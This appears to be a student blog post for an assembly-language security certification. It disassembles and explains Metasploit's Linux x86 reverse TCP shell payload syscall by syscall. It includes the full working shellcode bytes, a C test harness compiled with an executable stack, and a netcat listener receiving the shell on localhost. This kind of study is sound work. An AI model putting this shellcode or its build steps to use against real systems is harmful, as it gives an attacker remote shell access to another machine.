INTRODUCTION
This tutorial is part of the SecurityTube Linux Assembly Expert certification.
The goal of this assignment is to take three x86/Linux shellcode samples from Metasploit’s Msfpayload tool, use GDB/Ndisasm/Libemu to dissect their functionality and present an analysis.
For this blog post I will be specifically analyzing the linux/x86/shell_reverse_tcp payload.
The tutorial will contain example source with comments. Listed source code may have formatting issues so best place to obtain copies is from the project’s Github repo.
This assignment will build from the previous assignments and so will not be reiterating explanations already covered there.
Methodology
- Obtain as much information about the payload as possible through documentation. How does it work, expected parameters, end result once detonated
- Analyze payload using ndisasm
- Test shellcode
Payload Information
We can obtain a summary on the payload by passing the S for summary switch to msfpayload
$ msfpayload linux/x86/shell_reverse_tcp S [!] ************************************************************************ [!] * The utility msfpayload is deprecated! * [!] * It will be removed on or about 2015-06-08 * [!] * Please use msfvenom instead * [!] * Details: https://github.com/rapid7/metasploit-framework/pull/4333 * [!] ************************************************************************ Name: Linux Command Shell, Reverse TCP Inline Module: payload/linux/x86/shell_reverse_tcp Platform: Linux Arch: x86 Needs Admin: No Total size: 190 Rank: Normal Provided by: Ramon de C Valle <rcvalle@metasploit.com> Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 192.168.244.130 yes The listen address LPORT 4444 yes The listen port Description: Connect back to attacker and spawn a command shell
We can see the payload target platform and architecture is Linux x86.
The size is 190 bytes.
The payload accepts two parameters, LHOST and LPORT, which are required. We can assume that these parameters are used to specify the destination host for the network connection.
We can confirm from the description that the payload is in fact a reverse shell.
Analyze using ndisasm
Msfpayload allows the user to specify different output formats of the payload, such as raw machine code, Dll, Python, etc. We are interested in the raw option which allows us to then feed into ndisasm for disassembly.
Note: “ndisasm only disassembles binary files: it has no understanding of the header information present in object or executable files.”
So, let’s generate the payload using msfpayload, specify the host for the reverse shell to connect to as ‘127.0.0.1’ and the TCP port number as ‘4444’. The output format is ‘R’ for raw binary which is piped into ndisasm. ndisasm will expect the binary to be in the 32bit architecture.
$ msfpayload linux/x86/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 R|ndisasm -b 32 - [!] ************************************************************************ [!] * The utility msfpayload is deprecated! * [!] * It will be removed on or about 2015-06-08 * [!] * Please use msfvenom instead * [!] * Details: https://github.com/rapid7/metasploit-framework/pull/4333 * [!] ************************************************************************ 00000000 31DB xor ebx,ebx 00000002 F7E3 mul ebx 00000004 53 push ebx 00000005 43 inc ebx 00000006 53 push ebx 00000007 6A02 push byte +0x2 00000009 89E1 mov ecx,esp 0000000B B066 mov al,0x66 0000000D CD80 int 0x80 0000000F 93 xchg eax,ebx 00000010 59 pop ecx 00000011 B03F mov al,0x3f 00000013 CD80 int 0x80 00000015 49 dec ecx 00000016 79F9 jns 0x11 00000018 687F000001 push dword 0x100007f 0000001D 680200115C push dword 0x5c110002 00000022 89E1 mov ecx,esp 00000024 B066 mov al,0x66 00000026 50 push eax 00000027 51 push ecx 00000028 53 push ebx 00000029 B303 mov bl,0x3 0000002B 89E1 mov ecx,esp 0000002D CD80 int 0x80 0000002F 52 push edx 00000030 682F2F7368 push dword 0x68732f2f 00000035 682F62696E push dword 0x6e69622f 0000003A 89E3 mov ebx,esp 0000003C 52 push edx 0000003D 53 push ebx 0000003E 89E1 mov ecx,esp 00000040 B00B mov al,0xb 00000042 CD80 int 0x80
The quickest method to analyze the shellcode’s behaviour would be to run it in some kind of sandbox environment and maybe run strace for syscalls and gdb. For now we will take a cursory look over the disassembly output and identify syscalls() which should give us a warm and fuzzy feeling that nothing untoward will happen to us (famous last words).
To assist me in identifying the syscalls as quickly as possible I am going to use this site http://syscalls.kernelgrok.com/ which essentially is using grok on the Linux kernel headers.
00000000 31DB xor ebx,ebx 00000002 F7E3 mul ebx 00000004 53 push ebx 00000005 43 inc ebx 00000006 53 push ebx 00000007 6A02 push byte +0x2 00000009 89E1 mov ecx,esp 0000000B B066 mov al,0x66 0000000D CD80 int 0x80
First search is for syscall x66 and we get
# | Name | Registers | Definition | |||||
---|---|---|---|---|---|---|---|---|
eax | ebx | ecx | edx | esi | edi | |||
102 | sys_socketcall | 0x66 | int call | unsigned long __user *args | – | – | – | net/socket.c:2210 |
We know that socketcall() has subcalls and parameters which are specified by placing the subcall number into the EBX register and parameters onto the program stack. EBX contains 1. We see three pushes, 0, 1, 0x2. These match up with what we know from assignment #1 and the socket() call. We can expect a socket file descriptor to be returned in EAX on success.
0000000F 93 xchg eax,ebx
00000010 59 pop ecx
00000011 B03F mov al,0x3f
00000013 CD80 int 0x80
We search for syscall 0x3f
# | Name | Registers | Definition | |||||
---|---|---|---|---|---|---|---|---|
eax | ebx | ecx | edx | esi | edi | |||
63 | sys_dup2 | 0x3f | unsigned int oldfd | unsigned int newfd | – | – | – | fs/fcntl.c:116 |
Again we know from assignments #1 and #2 that dup2() will be used to redirect stdin, stdout, stderror.
00000015 49 dec ecx
00000016 79F9 jns 0x11
The above loop confirms that dup2() is called 3 times, 2, 1, and 0 are placed in ECX.
00000018 687F000001 push dword 0x100007f
0000001D 680200115C push dword 0x5c110002
00000022 89E1 mov ecx,esp
00000024 B066 mov al,0x66
00000026 50 push eax
00000027 51 push ecx
00000028 53 push ebx
00000029 B303 mov bl,0x3
0000002B 89E1 mov ecx,esp
0000002D CD80 int 0x80
We can see EAX will contain 0x66 again for a socketcall() and EBX contains 0x3 matching with the connect() call. This means socketaddr structure needs to be specified that contains the IP and Port numbers of the host to connect to. We see 0x100007f = 1d 0d 0d 127d matching our 127.0.0.1 parameter and 0x5c11002 = 115ch = 4444 for our port number.
0000002F 52 push edx
00000030 682F2F7368 push dword 0x68732f2f
00000035 682F62696E push dword 0x6e69622f
0000003A 89E3 mov ebx,esp
0000003C 52 push edx
0000003D 53 push ebx
0000003E 89E1 mov ecx,esp
00000040 B00B mov al,0xb
00000042 CD80 int 0x80
Last but not least this syscall has eax loaded with 0x0000000b and we see that this is execve(). We would expect a string on the stack to specify which program will be spawned once a connection is made. 0x68732f2f = hs// and nib/ = /bin//sh. Perfect.
Testing
We’ll change the msfpayload output to c for easy input into our c shellcode template for testing.
$ msfpayload linux/x86/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 c [!] ************************************************************************ [!] * The utility msfpayload is deprecated! * [!] * It will be removed on or about 2015-06-08 * [!] * Please use msfvenom instead * [!] * Details: https://github.com/rapid7/metasploit-framework/pull/4333 * [!] ************************************************************************ /* * linux/x86/shell_reverse_tcp - 68 bytes * http://www.metasploit.com * VERBOSE=false, LHOST=127.0.0.1, LPORT=4444, * ReverseConnectRetries=5, ReverseListenerBindPort=0, * ReverseAllowProxy=false, ReverseListenerThreaded=false, * PrependFork=false, PrependSetresuid=false, * PrependSetreuid=false, PrependSetuid=false, * PrependSetresgid=false, PrependSetregid=false, * PrependSetgid=false, PrependChrootBreak=false, * AppendExit=false, InitialAutoRunScript=, AutoRunScript= */ unsigned char buf[] = "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80" "\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\x7f\x00\x00\x01\x68" "\x02\x00\x11\x5c\x89\xe1\xb0\x66\x50\x51\x53\xb3\x03\x89\xe1" "\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3" "\x52\x53\x89\xe1\xb0\x0b\xcd\x80";
Final shellcode test file.
#include<stdio.h> #include<string.h> /* * linux/x86/shell_reverse_tcp - 68 bytes * http://www.metasploit.com * VERBOSE=false, LHOST=127.0.0.1, LPORT=4444, * ReverseConnectRetries=5, ReverseListenerBindPort=0, * ReverseAllowProxy=false, ReverseListenerThreaded=false, * PrependFork=false, PrependSetresuid=false, * PrependSetreuid=false, PrependSetuid=false, * PrependSetresgid=false, PrependSetregid=false, * PrependSetgid=false, PrependChrootBreak=false, * AppendExit=false, InitialAutoRunScript=, AutoRunScript= */ unsigned char code[] = "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80" "\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\x7f\x00\x00\x01\x68" "\x02\x00\x11\x5c\x89\xe1\xb0\x66\x50\x51\x53\xb3\x03\x89\xe1" "\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3" "\x52\x53\x89\xe1\xb0\x0b\xcd\x80"; main() { printf("Shellcode Length: %d\n", sizeof(code)-1); int (*ret)() = (int(*)())code; ret(); }
Compile shellcode
$ gcc -o ./reverse_bind_shellcode_skeleton reverse_bind_shellcode_skeleton.c -fno-stack-protector -z execstack
Start netcat listener to wait for reverse shell
$ nc -lvvp 4444 listening on [any] 4444 ...
Run shellcode
$ ./reverse_bind_shellcode_skeleton
And reverse shell connection is complete
$ nc -lvvp 4444 listening on [any] 4444 ... connect to [127.0.0.1] from localhost [127.0.0.1] 53494 id uid=1000(remote) gid=1001(remote) groups=1001(remote) exit sent 8, rcvd 54
Thank you
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student-ID: SLAE-473
Reblogged this on youremindmeofmymother.